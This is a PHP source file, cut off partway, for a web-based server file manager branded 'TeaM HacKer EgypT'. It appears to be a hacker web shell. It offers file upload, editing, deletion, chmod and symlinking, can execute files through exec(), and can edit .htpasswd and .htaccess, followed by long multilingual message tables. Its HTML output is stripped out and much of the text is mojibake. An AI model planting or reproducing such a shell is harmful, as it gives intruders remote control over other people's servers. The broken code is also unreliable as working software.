$reverse; html_header(); $list = getlist($directory); if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; sortlist($list, $sort, $reverse); echo '

TeaM HacKer EgypT

'; directory_choice(); if (!empty($message)) { spacer(); echo $message; } if (@is_writable($directory)) { upload_box(); create_box(); } else { spacer(); } if ($list) { listing($list); } else { echo error('not_readable', $directory); } echo '
'; html_footer(); } function listing ($list) { global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; echo ' smiley '; $d = 'dir=' . urlencode($directory) . '&'; if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = ''; echo "\t" . word('filename') . "\ "; if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = ''; echo "\t" . word('size') . "\ "; if (!$win) { if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = ''; echo "\t" . word('permission') . "\ "; if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = ''; echo "\t" . word('owner') . "\ "; if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = ''; echo "\t" . word('group') . "\ "; } echo ' ' . word('functions') . ' '; for ($i = 0; $i < sizeof($list); $i++) { $file = $list[$i]; $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', '; $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', '; $timestamps .= 'ctime: ' . date($date_format, $file['ctime']); echo ' '; if ($file['is_link']) { echo 'link '; echo html($file['filename']) . ' → '; $real_file = relative2absolute($file['target'], $directory); if (@is_readable($real_file)) { if (@is_dir($real_file)) { echo '[ ' . html($file['target']) . ' ]'; } else { echo '' . html($file['target']) . ''; } } else { echo html($file['target']); } } elseif ($file['is_dir']) { echo 'folder [ '; if ($win || $file['is_executable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } echo ' ]'; } else { if (substr($file['filename'], 0, 1) == '.') { echo 'hidden file '; } else { echo 'file '; } if ($file['is_file'] && $file['is_readable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } } if ($file['size'] >= 1000) { $human = ' title="' . human_filesize($file['size']) . '"'; } else { $human = ''; } echo "\t{$file['size']} B\ "; if (!$win) { echo "\t'; $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); if ($l) echo ''; echo html(permission_octal2string($file['permission'])); if ($l) echo ''; echo "\ "; if (array_key_exists('owner_name', $file)) { echo "\t{$file['owner_name']}\ "; } else { echo "\t{$file['owner']}\ "; } if (array_key_exists('group_name', $file)) { echo "\t{$file['group_name']}\ "; } else { echo "\t{$file['group']}\ "; } } echo ' '; $actions = array(); if (function_exists('symlink')) { $actions[] = 'create_symlink'; } if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'rename'; $actions[] = 'move'; } if ($file['is_file'] && $file['is_readable']) { $actions[] = 'copy'; $actions[] = 'download'; if ($file['is_writable']) $actions[] = 'edit'; } if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { $actions[] = 'execute'; } if (sizeof($actions) > 0) { echo ' '; } echo ' '; } echo ' > '; $actions = array(); if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'move'; } $actions[] = 'copy'; echo ' '; } function directory_choice () { global $directory, $homedir, $cols, $self; echo ' ' . word('directory') . ': '; } function upload_box () { global $cols; echo ' ' . word('file') . ': '; } function create_box () { global $cols; echo ' '; } function edit ($file) { global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess; html_header(); echo '

' . html($file) . '


'; if ($apache && basename($file) == $htpasswd) { echo ' ' . word('user') . ': ' . word('password') . ':
'; } if ($apache && basename($file) == $htaccess) { echo '
'; } echo '

[ ' . word('back') . ' ]

'; html_footer(); } function spacer () { global $cols; echo ' '; } function textfieldsize ($content) { $size = strlen($content) + 5; if ($size < 30) $size = 30; return $size; } function request_dump () { foreach ($_REQUEST as $key => $value) { echo "\t\ "; } } /* ------------------------------------------------------------------------- */ function html ($string) { global $site_charset; return htmlentities($string, ENT_COMPAT, $site_charset); } function word ($word) { global $words, $word_charset; return htmlentities($words[$word], ENT_COMPAT, $word_charset); } function phrase ($phrase, $arguments) { global $words; static $search; if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i"; for ($i = 0; $i < sizeof($arguments); $i++) { $arguments[$i] = nl2br(html($arguments[$i])); } $replace = array('{' => '
', '}' =>'
', '[' => '', ']' => ''); return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase])))); } function getwords ($lang) { global $word_charset, $date_format; switch ($lang) { case 'de': $date_format = 'd.m.y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Verzeichnis', 'file' => 'Datei', 'filename' => 'Dateiname', 'size' => 'Gr??e', 'permission' => 'Rechte', 'owner' => 'Eigner', 'group' => 'Gruppe', 'other' => 'Andere', 'functions' => 'Funktionen', 'read' => 'lesen', 'write' => 'schreiben', 'execute' => 'ausführen', 'create_symlink' => 'Symlink erstellen', 'delete' => 'l?schen', 'rename' => 'umbenennen', 'move' => 'verschieben', 'copy' => 'kopieren', 'edit' => 'editieren', 'download' => 'herunterladen', 'upload' => 'hochladen', 'create' => 'erstellen', 'change' => 'wechseln', 'save' => 'speichern', 'set' => 'setze', 'reset' => 'zurücksetzen', 'relative' => 'Pfad zum Ziel relativ', 'yes' => 'Ja', 'no' => 'Nein', 'back' => 'zurück', 'destination' => 'Ziel', 'symlink' => 'Symbolischer Link', 'no_output' => 'keine Ausgabe', 'user' => 'Benutzername', 'password' => 'Kennwort', 'add' => 'hinzufügen', 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen', 'uploaded' => '"[%1]" wurde hochgeladen.', 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.', 'already_exists' => '"[%1]" existiert bereits.', 'created' => '"[%1]" wurde erstellt.', 'not_created' => '"[%1]" konnte nicht erstellt werden.', 'really_delete' => 'Sollen folgende Dateien wirklich gel?scht werden?', 'deleted' => "Folgende Dateien wurden gel?scht:\ [%1]", 'not_deleted' => "Folgende Dateien konnten nicht gel?scht werden:\ [%1]", 'rename_file' => 'Benenne Datei um:', 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.', 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.', 'move_files' => 'Verschieben folgende Dateien:', 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\ [%1]", 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\ [%1]", 'copy_files' => 'Kopiere folgende Dateien:', 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\ [%1]", 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\ [%1]", 'not_edited' => '"[%1]" kann nicht editiert werden.', 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\ {%2}", 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\ {%2}", 'saved' => '"[%1]" wurde gespeichert.', 'not_saved' => '"[%1]" konnte nicht gespeichert werden.', 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.', 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.', 'permission_for' => 'Rechte für "[%1]":', 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.', 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.', 'not_readable' => '"[%1]" kann nicht gelesen werden.' ); case 'fr': $date_format = 'd.m.y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Répertoire', 'file' => 'Fichier', 'filename' => 'Nom fichier', 'size' => 'Taille', 'permission' => 'Droits', 'owner' => 'Propriétaire', 'group' => 'Groupe', 'other' => 'Autres', 'functions' => 'Fonctions', 'read' => 'Lire', 'write' => 'Ecrire', 'execute' => 'Exécuter', 'create_symlink' => 'Créer lien symbolique', 'delete' => 'Effacer', 'rename' => 'Renommer', 'move' => 'Déplacer', 'copy' => 'Copier', 'edit' => 'Ouvrir', 'download' => 'Télécharger sur PC', 'upload' => 'Télécharger sur serveur', 'create' => 'Créer', 'change' => 'Changer', 'save' => 'Sauvegarder', 'set' => 'Exécuter', 'reset' => 'Réinitialiser', 'relative' => 'Relatif', 'yes' => 'Oui', 'no' => 'Non', 'back' => 'Retour', 'destination' => 'Destination', 'symlink' => 'Lien symbollique', 'no_output' => 'Pas de sortie', 'user' => 'Utilisateur', 'password' => 'Mot de passe', 'add' => 'Ajouter', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" a été téléchargé sur le serveur.', 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.', 'already_exists' => '"[%1]" existe déj? .', 'created' => '"[%1]" a été créé.', 'not_created' => '"[%1]" n a pas pu être créé.', 'really_delete' => 'Effacer le fichier?', 'deleted' => "Ces fichiers ont été détuits:\ [%1]", 'not_deleted' => "Ces fichiers n ont pu être détruits:\ [%1]", 'rename_file' => 'Renomme fichier:', 'renamed' => '"[%1]" a été renommé en "[%2]".', 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".', 'move_files' => 'Déplacer ces fichiers:', 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\ [%1]", 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\ [%1]", 'copy_files' => 'Copier ces fichiers:', 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\ [%1]", 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" ne peut être ouvert.', 'executed' => "\"[%1]\" a été brillamment exécuté :\ {%2}", 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\ {%2}", 'saved' => '"[%1]" a été sauvegardé.', 'not_saved' => '"[%1]" n a pas pu être sauvegardé.', 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.', 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.', 'permission_for' => 'Droits de "[%1]":', 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].', 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].', 'not_readable' => '"[%1]" ne peut pas être ouvert.' ); case 'it': $date_format = 'd-m-Y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Nome File', 'size' => 'Dimensioni', 'permission' => 'Permessi', 'owner' => 'Proprietario', 'group' => 'Gruppo', 'other' => 'Altro', 'functions' => 'Funzioni', 'read' => 'leggi', 'write' => 'scrivi', 'execute' => 'esegui', 'create_symlink' => 'crea link simbolico', 'delete' => 'cancella', 'rename' => 'rinomina', 'move' => 'sposta', 'copy' => 'copia', 'edit' => 'modifica', 'download' => 'download', 'upload' => 'upload', 'create' => 'crea', 'change' => 'cambia', 'save' => 'salva', 'set' => 'imposta', 'reset' => 'reimposta', 'relative' => 'Percorso relativo per la destinazione', 'yes' => 'Si', 'no' => 'No', 'back' => 'indietro', 'destination' => 'Destinazione', 'symlink' => 'Link simbolico', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'aggiungi', 'add_basic_auth' => 'aggiungi autenticazione base', 'uploaded' => '"[%1]" è stato caricato.', 'not_uploaded' => '"[%1]" non è stato caricato.', 'already_exists' => '"[%1]" esiste gi? .', 'created' => '"[%1]" è stato creato.', 'not_created' => '"[%1]" non è stato creato.', 'really_delete' => 'Cancello questi file ?', 'deleted' => "Questi file sono stati cancellati:\ [%1]", 'not_deleted' => "Questi file non possono essere cancellati:\ [%1]", 'rename_file' => 'File rinominato:', 'renamed' => '"[%1]" è stato rinominato in "[%2]".', 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".', 'move_files' => 'Sposto questi file:', 'moved' => "Questi file sono stati spostati in \"[%2]\":\ [%1]", 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\ [%1]", 'copy_files' => 'Copio questi file', 'copied' => "Questi file sono stati copiati in \"[%2]\":\ [%1]", 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" non pu? essere modificato.', 'executed' => "\"[%1]\" è stato eseguito con successo:\ {%2}", 'not_executed' => "\"[%1]\" non è stato eseguito con successo\ {%2}", 'saved' => '"[%1]" è stato salvato.', 'not_saved' => '"[%1]" non è stato salvato.', 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.', 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.', 'permission_for' => 'Permessi di "[%1]":', 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].', 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].', 'not_readable' => '"[%1]" non pu? essere letto.' ); case 'nl': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'Bestand', 'filename' => 'Bestandsnaam', 'size' => 'Grootte', 'permission' => 'Bevoegdheid', 'owner' => 'Eigenaar', 'group' => 'Groep', 'other' => 'Anderen', 'functions' => 'Functies', 'read' => 'lezen', 'write' => 'schrijven', 'execute' => 'uitvoeren', 'create_symlink' => 'maak symlink', 'delete' => 'verwijderen', 'rename' => 'hernoemen', 'move' => 'verplaatsen', 'copy' => 'kopieren', 'edit' => 'bewerken', 'download' => 'downloaden', 'upload' => 'uploaden', 'create' => 'aanmaken', 'change' => 'veranderen', 'save' => 'opslaan', 'set' => 'instellen', 'reset' => 'resetten', 'relative' => 'Relatief pat naar doel', 'yes' => 'Ja', 'no' => 'Nee', 'back' => 'terug', 'destination' => 'Bestemming', 'symlink' => 'Symlink', 'no_output' => 'geen output', 'user' => 'Gebruiker', 'password' => 'Wachtwoord', 'add' => 'toevoegen', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" is verstuurd.', 'not_uploaded' => '"[%1]" kan niet worden verstuurd.', 'already_exists' => '"[%1]" bestaat al.', 'created' => '"[%1]" is aangemaakt.', 'not_created' => '"[%1]" kan niet worden aangemaakt.', 'really_delete' => 'Deze bestanden verwijderen?', 'deleted' => "Deze bestanden zijn verwijderd:\ [%1]", 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\ [%1]", 'rename_file' => 'Bestandsnaam veranderen:', 'renamed' => '"[%1]" heet nu "[%2]".', 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".', 'move_files' => 'Verplaats deze bestanden:', 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\ [%1]", 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\ [%1]", 'copy_files' => 'Kopieer deze bestanden:', 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\ [%1]", 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" kan niet worden bewerkt.', 'executed' => "\"[%1]\" is met succes uitgevoerd:\ {%2}", 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\ {%2}", 'saved' => '"[%1]" is opgeslagen.', 'not_saved' => '"[%1]" is niet opgeslagen.', 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.', 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.', 'permission_for' => 'Bevoegdheid voor "[%1]":', 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].', 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].', 'not_readable' => '"[%1]" kan niet worden gelezen.' ); case 'se': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Mapp', 'file' => 'Fil', 'filename' => 'Filnamn', 'size' => 'Storlek', 'permission' => 'S?kerhetsniv?', 'owner' => '?gare', 'group' => 'Grupp', 'other' => 'Andra', 'functions' => 'Funktioner', 'read' => 'L?s', 'write' => 'Skriv', 'execute' => 'Utf?r', 'create_symlink' => 'Skapa symlink', 'delete' => 'Radera', 'rename' => 'Byt namn', 'move' => 'Flytta', 'copy' => 'Kopiera', 'edit' => '?ndra', 'download' => 'Ladda ner', 'upload' => 'Ladda upp', 'create' => 'Skapa', 'change' => '?ndra', 'save' => 'Spara', 'set' => 'Markera', 'reset' => 'T?m', 'relative' => 'Relative path to target', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'Tillbaks', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'Anv?ndare', 'password' => 'L?senord', 'add' => 'L?gg till', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" har laddats upp.', 'not_uploaded' => '"[%1]" kunde inte laddas upp.', 'already_exists' => '"[%1]" finns redan.', 'created' => '"[%1]" har skapats.', 'not_created' => '"[%1]" kunde inte skapas.', 'really_delete' => 'Radera dessa filer?', 'deleted' => "De h?r filerna har raderats:\ [%1]", 'not_deleted' => "Dessa filer kunde inte raderas:\ [%1]", 'rename_file' => 'Byt namn p? fil:', 'renamed' => '"[%1]" har bytt namn till "[%2]".', 'not_renamed' => '"[%1] kunde inte d?pas om till "[%2]".', 'move_files' => 'Flytta dessa filer:', 'moved' => "Dessa filer har flyttats till \"[%2]\":\ [%1]", 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\ [%1]", 'copy_files' => 'Kopiera dessa filer:', 'copied' => "Dessa filer har kopierats till \"[%2]\":\ [%1]", 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" kan inte ?ndras.', 'executed' => "\"[%1]\" har utf?rts:\ {%2}", 'not_executed' => "\"[%1]\" kunde inte utf?ras:\ {%2}", 'saved' => '"[%1]" har sparats.', 'not_saved' => '"[%1]" kunde inte sparas.', 'symlinked' => 'Symlink fr?n "[%2]" till "[%1]" har skapats.', 'not_symlinked' => 'Symlink fr?n "[%2]" till "[%1]" kunde inte skapas.', 'permission_for' => 'R?ttigheter f?r "[%1]":', 'permission_set' => 'R?ttigheter f?r "[%1]" ?ndrades till [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" kan inte l?sas.' ); case 'sp': $date_format = 'j/n/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directorio', 'file' => 'Archivo', 'filename' => 'Nombre Archivo', 'size' => 'Tama?o', 'permission' => 'Permisos', 'owner' => 'Propietario', 'group' => 'Grupo', 'other' => 'Otros', 'functions' => 'Funciones', 'read' => 'lectura', 'write' => 'escritura', 'execute' => 'ejecuci?n', 'create_symlink' => 'crear enlace', 'delete' => 'borrar', 'rename' => 'renombrar', 'move' => 'mover', 'copy' => 'copiar', 'edit' => 'editar', 'download' => 'bajar', 'upload' => 'subir', 'create' => 'crear', 'change' => 'cambiar', 'save' => 'salvar', 'set' => 'setear', 'reset' => 'resetear', 'relative' => 'Path relativo', 'yes' => 'Si', 'no' => 'No', 'back' => 'atr?s', 'destination' => 'Destino', 'symlink' => 'Enlace', 'no_output' => 'sin salida', 'user' => 'Usuario', 'password' => 'Clave', 'add' => 'agregar', 'add_basic_auth' => 'agregar autentificaci?n b?sica', 'uploaded' => '"[%1]" ha sido subido.', 'not_uploaded' => '"[%1]" no pudo ser subido.', 'already_exists' => '"[%1]" ya existe.', 'created' => '"[%1]" ha sido creado.', 'not_created' => '"[%1]" no pudo ser creado.', 'really_delete' => '?Borra estos archivos?', 'deleted' => "Estos archivos han sido borrados:\ [%1]", 'not_deleted' => "Estos archivos no pudieron ser borrados:\ [%1]", 'rename_file' => 'Renombra archivo:', 'renamed' => '"[%1]" ha sido renombrado a "[%2]".', 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".', 'move_files' => 'Mover estos archivos:', 'moved' => "Estos archivos han sido movidos a \"[%2]\":\ [%1]", 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\ [%1]", 'copy_files' => 'Copiar estos archivos:', 'copied' => "Estos archivos han sido copiados a \"[%2]\":\ [%1]", 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" no pudo ser editado.', 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\ {%2}", 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\ {%2}", 'saved' => '"[%1]" ha sido salvado.', 'not_saved' => '"[%1]" no pudo ser salvado.', 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.', 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.', 'permission_for' => 'Permisos de "[%1]":', 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].', 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].', 'not_readable' => '"[%1]" no pudo ser le?do.' ); case 'dk': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Mappe', 'file' => 'Fil', 'filename' => 'Filnavn', 'size' => 'St?rrelse', 'permission' => 'Rettighed', 'owner' => 'Ejer', 'group' => 'Gruppe', 'other' => 'Andre', 'functions' => 'Funktioner', 'read' => 'l?s', 'write' => 'skriv', 'execute' => 'k?r', 'create_symlink' => 'opret symbolsk link', 'delete' => 'slet', 'rename' => 'omd?b', 'move' => 'flyt', 'copy' => 'kopier', 'edit' => 'rediger', 'download' => 'download', 'upload' => 'upload', 'create' => 'opret', 'change' => 'skift', 'save' => 'gem', 'set' => 's?t', 'reset' => 'nulstil', 'relative' => 'Relativ sti til valg', 'yes' => 'Ja', 'no' => 'Nej', 'back' => 'tilbage', 'destination' => 'Distination', 'symlink' => 'Symbolsk link', 'no_output' => 'ingen resultat', 'user' => 'Bruger', 'password' => 'Kodeord', 'add' => 'tilf?j', 'add_basic_auth' => 'tilf?j grundliggende rettigheder', 'uploaded' => '"[%1]" er blevet uploaded.', 'not_uploaded' => '"[%1]" kunnu ikke uploades.', 'already_exists' => '"[%1]" findes allerede.', 'created' => '"[%1]" er blevet oprettet.', 'not_created' => '"[%1]" kunne ikke oprettes.', 'really_delete' => 'Slet disse filer?', 'deleted' => "Disse filer er blevet slettet:\ [%1]", 'not_deleted' => "Disse filer kunne ikke slettes:\ [%1]", 'rename_file' => 'Omd?d fil:', 'renamed' => '"[%1]" er blevet omd?bt til "[%2]".', 'not_renamed' => '"[%1] kunne ikke omd?bes til "[%2]".', 'move_files' => 'Flyt disse filer:', 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\ [%1]", 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\ [%1]", 'copy_files' => 'Kopier disse filer:', 'copied' => "Disse filer er kopieret til \"[%2]\":\ [%1]", 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" kan ikke redigeres.', 'executed' => "\"[%1]\" er blevet k?rt korrekt:\ {%2}", 'not_executed' => "\"[%1]\" kan ikke k?res korrekt:\ {%2}", 'saved' => '"[%1]" er blevet gemt.', 'not_saved' => '"[%1]" kunne ikke gemmes.', 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.', 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.', 'permission_for' => 'Rettigheder for "[%1]":', 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].', 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke s?ttes til [%2].', 'not_readable' => '"[%1]" Kan ikke l?ses.' ); case 'tr': $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Klas?r', 'file' => 'Dosya', 'filename' => 'dosya adi', 'size' => 'boyutu', 'permission' => 'Izin', 'owner' => 'sahib', 'group' => 'Grup', 'other' => 'Digerleri', 'functions' => 'Fonksiyonlar', 'read' => 'oku', 'write' => 'yaz', 'execute' => 'çalistir', 'create_symlink' => 'yarat symlink', 'delete' => 'sil', 'rename' => 'ad degistir', 'move' => 'tasi', 'copy' => 'kopyala', 'edit' => 'düzenle', 'download' => 'indir', 'upload' => 'yükle', 'create' => 'create', 'change' => 'degistir', 'save' => 'kaydet', 'set' => 'ayar', 'reset' => 'sifirla', 'relative' => 'Hedef yola g?re', 'yes' => 'Evet', 'no' => 'Hayir', 'back' => 'Geri', 'destination' => 'Hedef', 'symlink' => 'K?sa yol', 'no_output' => 'çikti yok', 'user' => 'Kullanici', 'password' => 'Sifre', 'add' => 'ekle', 'add_basic_auth' => 'ekle basit-authentification', 'uploaded' => '"[%1]" yüklendi.', 'not_uploaded' => '"[%1]" yüklenemedi.', 'already_exists' => '"[%1]" kullanilmakta.', 'created' => '"[%1]" olusturuldu.', 'not_created' => '"[%1]" olusturulamadi.', 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?', 'deleted' => "Bu dosyalar silindi:\ [%1]", 'not_deleted' => "Bu dosyalar silinemedi:\ [%1]", 'rename_file' => 'Adi degisen dosya:', 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".', 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.', 'move_files' => 'Tasinan dosyalar:', 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\ [%1]", 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\ [%1]", 'copy_files' => 'Kopyalanan dosyalar:', 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\ [%1]", 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" düzenlenemiyor.', 'executed' => "\"[%1]\" basariyla çalistirildi:\ {%2}", 'not_executed' => "\"[%1]\" çalistirilamadi:\ {%2}", 'saved' => '"[%1]" kaydedildi.', 'not_saved' => '"[%1]" kaydedilemedi.', 'symlinked' => '"[%2]" den "[%1]" e k?sayol olu?turuldu.', 'not_symlinked' => '"[%2]"den "[%1]" e k?sayol olu?turulamad?.', 'permission_for' => 'Izinler "[%1]":', 'permission_set' => 'Izinler "[%1]" degistirildi [%2].', 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].', 'not_readable' => '"[%1]" okunamiyor.' ); case 'cs': $date_format = 'd.m.y H:i:s'; $word_charset = 'UTF-8'; return array( 'directory' => 'Adres????', 'file' => 'Soubor', 'filename' => 'Jm?©no souboru', 'size' => 'Velikost', 'permission' => 'Pr??va', 'owner' => 'Vlastn?­k', 'group' => 'Skupina', 'other' => 'Ostatn?­', 'functions' => 'Funkce', 'read' => '??ten?­', 'write' => 'Z??pis', 'execute' => 'Spou??t??n?­', 'create_symlink' => 'Vytvo??it symbolick?½ odkaz', 'delete' => 'Smazat', 'rename' => 'P??ejmenovat', 'move' => 'P??esunout', 'copy' => 'Zkop?­rovat', 'edit' => 'Otev???­t', 'download' => 'St??hnout', 'upload' => 'Nahraj na server', 'create' => 'Vytvo??it', 'change' => 'Zm??nit', 'save' => 'Ulo?¾it', 'set' => 'Nastavit', 'reset' => 'zp??t', 'relative' => 'Relatif', 'yes' => 'Ano', 'no' => 'Ne', 'back' => 'Zp??t', 'destination' => 'Destination', 'symlink' => 'Symbolick?½ odkaz', 'no_output' => 'Pr??zdn?½ v?½stup', 'user' => 'U?¾ivatel', 'password' => 'Heslo', 'add' => 'P??idat', 'add_basic_auth' => 'p??idej z??kladn?­ autentizaci', 'uploaded' => 'Soubor "[%1]" byl nahr??n na server.', 'not_uploaded' => 'Soubor "[%1]" nebyl nahr??n na server.', 'already_exists' => 'Soubor "[%1]" u?¾ exituje.', 'created' => 'Soubor "[%1]" byl vytvo??en.', 'not_created' => 'Soubor "[%1]" nemohl b?½t vytvo??en.', 'really_delete' => 'Vymazat soubor?', 'deleted' => "Byly vymaz??ny tyto soubory:\ [%1]", 'not_deleted' => "Tyto soubory nemohly b?½t vytvo??eny:\ [%1]", 'rename_file' => 'P??ejmenuj soubory:', 'renamed' => 'Soubor "[%1]" byl p??ejmenov??n na "[%2]".', 'not_renamed' => 'Soubor "[%1]" nemohl b?½t p??ejmenov??n na "[%2]".', 'move_files' => 'P??em?­stit tyto soubory:', 'moved' => "Tyto soubory byly p??em?­st??ny do \"[%2]\":\ [%1]", 'not_moved' => "Tyto soubory nemohly b?½t p??em?­st??ny do \"[%2]\":\ [%1]", 'copy_files' => 'Zkop?­rovat tyto soubory:', 'copied' => "Tyto soubory byly zkop?­rov??ny do \"[%2]\":\ [%1]", 'not_copied' => "Tyto soubory nemohly b?½t zkop?­rov??ny do \"[%2]\":\ [%1]", 'not_edited' => 'Soubor "[%1]" nemohl b?½t otev??en.', 'executed' => "SOubor \"[%1]\" byl spu??t??n :\ {%2}", 'not_executed' => "Soubor \"[%1]\" nemohl b?½t spu??t??n:\ {%2}", 'saved' => 'Soubor "[%1]" byl ulo?¾en.', 'not_saved' => 'Soubor "[%1]" nemohl b?½t ulo?¾en.', 'symlinked' => 'Byl vyvo??en symbolick?½ odkaz "[%2]" na soubor "[%1]".', 'not_symlinked' => 'Symbolick?½ odkaz "[%2]" na soubor "[%1]" nemohl b?½t vytvo??en.', 'permission_for' => 'Pr??va k "[%1]":', 'permission_set' => 'Pr??va k "[%1]" byla zm??n??na na [%2].', 'permission_not_set' => 'Pr??va k "[%1]" nemohla b?½t zm??n??na na [%2].', 'not_readable' => 'Soubor "[%1]" nen?­ mo?¾no p??e???­st.' ); case 'en': default: $date_format = 'n/j/y H:i:s'; $word_charset = 'ISO-8859-1'; return array( 'directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 